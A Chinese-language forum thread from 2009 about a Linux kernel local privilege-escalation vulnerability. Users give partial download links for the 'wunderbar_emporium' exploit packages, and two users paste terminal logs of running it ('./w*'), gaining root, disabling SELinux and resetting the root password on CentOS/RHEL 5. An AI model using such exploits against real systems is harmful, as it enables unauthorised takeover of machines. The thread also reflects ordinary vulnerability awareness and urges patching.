黑客再爆Linux内核高危漏洞，一个命令可以攻击所有Linux系统，请尽快修复系统

maping1018

确实可以将一般用户提升至root权限，不过如果没有一般用户口令，也就没办法了

hatrick

还需要系统中有cc编译器才可以：）

yoonix

牛人，
我的测试环境VmwareServer1.8 +RHE5.2
能修改root密码!!!
顶了！！！

bigbombgj

看来linux也不安全嘛。

gouxiongmao

原帖由 Godbach 于 2009-8-16 21:40 发表
./w*这个命令是什么东东？

运行了一下当前文件夹下以w开头的那个文件。

gouxiongmao

原帖由 rainconut 于 2009-8-19 10:14 发表
怎么我的fedora8 2.6.23没有这个问题
输入 ./w*  提示找不到该文件或目录

如果你希望亲手验证此漏洞，你可以下载下列两个代码包测试（有可能导致系统不稳定，当机等现象，后果自负）：
http://www.securityfocus.com/dat ... rbar_emporium-3.tgz
http://www.securityfocus.com/dat ... xploits/36038-4.tgz
./w*其实就是运行的wunderbar_emporium-3.tgz这个东西解出来后的那个文件，你都没下载他当然找不到了。。。

PKkingSon

其实linux这种漏洞爆了不少回了，local root好几次.
很弱智

gouxiongmao

[haosi@FILESERVER wunderbar_emporium]$ ls
exploit    pwnkernel2.c  tzameti.avi
exploit.c  pwnkernel.c   wunderbar_emporium.sh
[haosi@FILESERVER wunderbar_emporium]$ ./w*
[+] MAPPED ZERO PAGE!
[+] Resolved security_ops to 0xc0796980
[+] Resolved sel_read_enforce to 0xc04be127
[+] got ring0!
[+] detected 2.6 style 4k stacks
sh: mplayer: command not found
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-3.1# passwd root
Changing password for user root.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
sh-3.1# uname -a
Linux FILESERVER 2.6.18-8.el5 #1 SMP Thu Mar 15 19:57:35 EDT 2007 i686 i686 i386 GNU/Linux

Cent OS 5果然也是这样，真是有高人啊。。。

msee

$ ./w*
-bash: ./w*: No such file or directory

minmig

[+] MAPPED ZERO PAGE!
[+] Resolved security_ops to 0xc07a6e40
[+] Resolved sel_read_enforce to 0xc04c385b
[+] got ring0!
[+] detected 2.6 style 4k stacks
sh: mplayer: command not found
[+] Disabled security of : SELinux
[+] Got root!
sh-3.1# uname -a
Linux localhost.localdomain 2.6.18-53.el5 #1 SMP Wed Oct 10 16:34:02 EDT 2007 i686 i686 i386 GNU/Linux

直接搞定，看来用户都不能太多。